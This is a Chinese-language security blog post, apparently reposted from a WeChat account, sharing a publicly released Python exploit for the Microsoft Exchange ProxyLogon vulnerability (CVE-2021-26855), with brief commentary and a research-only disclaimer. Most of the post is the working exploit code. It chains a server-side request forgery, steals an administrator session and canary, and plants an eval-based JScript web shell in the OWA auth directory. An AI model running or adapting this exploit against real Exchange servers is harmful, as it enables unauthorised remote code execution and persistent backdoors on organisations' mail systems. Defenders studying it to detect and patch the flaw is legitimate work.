前言
前段时间exchange的RCE(CVE-2021-26855)漏洞炒的沸沸扬扬,orange也被推上风口浪尖都快有阴谋论的八卦味道了。不过不管他,今天早上起来看到crazyman师傅在星球发了老外写的利用exp,就知道这事差不多可以公开了。少宇师傅更是一大早五点起床开始复现,真可怕(。
前后大概也就一周时间,我这种菜鸡就等着白嫖学习了。
正文
结合已经公开的资料,我们开始学习吧!
-
两篇学习资料
https://www.crowdstrike.com/blog/falcon-complete-stops-microsoft-exchange-server-zero-day-exploits/
https://www.praetorian.com/blog/reproducing-proxylogon-exploit/
-
老外公开的exp
import requests
from urllib3.exceptions import InsecureRequestWarning
import random
import string
import sys
def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
return ''.join(random.choice(chars) for _ in range(size))
if len(sys.argv) < 2:
print("Usage: python PoC.py <target> <email>")
print("Example: python PoC.py mail.evil.corp [email protected]")
exit()
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
target = sys.argv[1]
email = sys.argv[2]
random_name = id_generator(3) + ".js"
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"
shell_path = "Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\ahihi.aspx"
shell_absolute_path = "\\127.0.0.1\c$\%s" % shell_path
shell_content = '<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["exec_code"],"unsafe");}</script>'
legacyDnPatchByte = "68747470733a2f2f696d6775722e636f6d2f612f7a54646e5378670a0a0a0a0a0a0a0a"
autoDiscoverBody = """<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
<Request>
<EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
</Request>
</Autodiscover>
print("Attacking target " + target)
print("=============================")
print(legacyDnPatchByte.decode('hex'))
FQDN = "EXCHANGE"
ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={"Cookie": "X-BEResource=localhost~1942062522",
"User-Agent": user_agent},
verify=False)
if "X-CalculatedBETarget" in ct.headers and "X-FEServer" in ct.headers:
FQDN = ct.headers["X-FEServer"]
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=%s/autodiscover/autodiscover.xml?a=~1942062522;" % FQDN,
"Content-Type": "text/xml",
"User-Agent": user_agent},
data=autoDiscoverBody,
verify=False
)
if ct.status_code != 200:
print("Autodiscover Error!")
exit()
if "<LegacyDN>" not in ct.content:
print("Can not get LegacyDN!")
exit()
legacyDn = ct.content.split("<LegacyDN>")[1].split("</LegacyDN>")[0]
print("Got DN: " + legacyDn)
mapi_body = legacyDn + "x00x00x00x00x00xe4x04x00x00x09x04x00x00x09x04x00x00x00x00x00x00"
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Admin@%s:444/mapi/emsmdb?MailboxId=f26bc937-b7b3-4402-b890-96c46713e5d5@exchange.lab&a=~1942062522;" % FQDN,
"Content-Type": "application/mapi-http",
"User-Agent": user_agent
},
data=mapi_body,
verify=False
)
if ct.status_code != 200 or "act as owner of a UserMailbox" not in ct.content:
print("Mapi Error!")
exit()
sid = ct.content.split("with SID ")[1].split(" and MasterAccountSid")[0]
print("Got SID: " + sid)
proxyLogon_request = """<r at="Negotiate" ln="john"><s>%s</s><s a="7" t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s a="3221225479" t="1">S-1-5-5-0-6948923</s></r>
""" % sid
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Admin@%s:444/ecp/proxyLogon.ecp?a=~1942062522;" % FQDN,
"Content-Type": "text/xml",
"User-Agent": user_agent
},
data=proxyLogon_request,
verify=False
)
if ct.status_code != 241 or not "set-cookie" in ct.headers:
print("Proxylogon Error!")
exit()
sess_id = ct.headers['set-cookie'].split("ASP.NET_SessionId=")[1].split(";")[0]
msExchEcpCanary = ct.headers['set-cookie'].split("msExchEcpCanary=")[1].split(";")[0]
print("Got session id: " + sess_id)
print("Got canary: " + msExchEcpCanary)
ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Admin@%s:444/ecp/about.aspx?a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
FQDN, sess_id, msExchEcpCanary),
"User-Agent": user_agent
},
verify=False
)
if ct.status_code != 200:
print("Wrong canary!")
print("Sometime we can skip this ...")
rbacRole = ct.content.split("RBAC roles:</span> <span class='diagTxt'>")[1].split("</span>")[0]
# print "Got rbacRole: "+ rbacRole
print("=========== It means good to go!!!====")
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Admin@%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
"Content-Type": "application/json; charset=utf-8",
"User-Agent": user_agent
},
json={"filter": {
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
"SelectedView": "", "SelectedVDirType": "All"}}, "sort": {}},
verify=False
)
if ct.status_code != 200:
print("GetOAB Error!")
exit()
oabId = ct.content.split('"RawIdentity":"')[1].split('"')[0]
print("Got OAB id: " + oabId)
oab_json = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
"properties": {
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
"ExternalUrl": "http://ffff/#%s" % shell_content}}}
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Admin@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
"Content-Type": "application/json; charset=utf-8",
"User-Agent": user_agent
},
json=oab_json,
verify=False
)
if ct.status_code != 200:
print("Set external url Error!")
exit()
reset_oab_body = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
"properties": {
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
"FilePathName": shell_absolute_path}}}
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Admin@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
"Content-Type": "application/json; charset=utf-8",
"User-Agent": user_agent
},
json=reset_oab_body,
verify=False
)
if ct.status_code != 200:
print("Write Shell Error!")
exit()
print("Successful!")
PS:exp不可以直接利用,需要自己结合资料进行修改。有几个地方写死了,这边提个彩蛋:
legacyDnPatchByte = "68747470733a2f2f696d6775722e636f6d2f612f7a54646e5378670a0a0a0a0a0a0a0a"
…………
print("Attacking target " + target)
print("=============================")
print(legacyDnPatchByte.decode('hex'))
这里打印出来的是一张照片链接:
可以看到是嘲讽我们JB小子太菜了(
结语
好好学习叭
本文始发于微信公众号(赛博回忆录):Exchange最新RCE利用EXP已放出
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论